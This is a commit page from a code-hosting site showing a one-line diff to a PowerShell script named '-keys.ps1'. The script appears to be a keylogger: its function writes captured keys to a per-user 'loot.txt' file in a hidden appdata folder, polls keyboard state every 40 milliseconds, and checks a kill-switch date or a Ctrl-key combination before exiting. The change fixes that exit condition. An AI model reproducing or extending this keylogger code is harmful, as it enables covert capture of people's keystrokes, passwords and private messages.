Update -keys.ps1
This commit is contained in:
parent
a249037f82
commit
93a8845b3a
1 changed files with 1 additions and 1 deletions
|
@ -27,7 +27,7 @@ function XXXlog($Path="$env:appdata\-locker\$env:UserName-loot.txt"){
|
|||
Start-Sleep -Milliseconds 40
|
||||
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
||||
if((Get-Content "$env:appdata\-locker\killswitch.txt") -ne $null -and ((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt")) -or ($Rctrl -and $Lctrl)){exit}
|
||||
|
||||
|
||||
for ($ascii = 9; $ascii -le 254; $ascii++) {
|
||||
|
|
Loading…
Reference in a new issue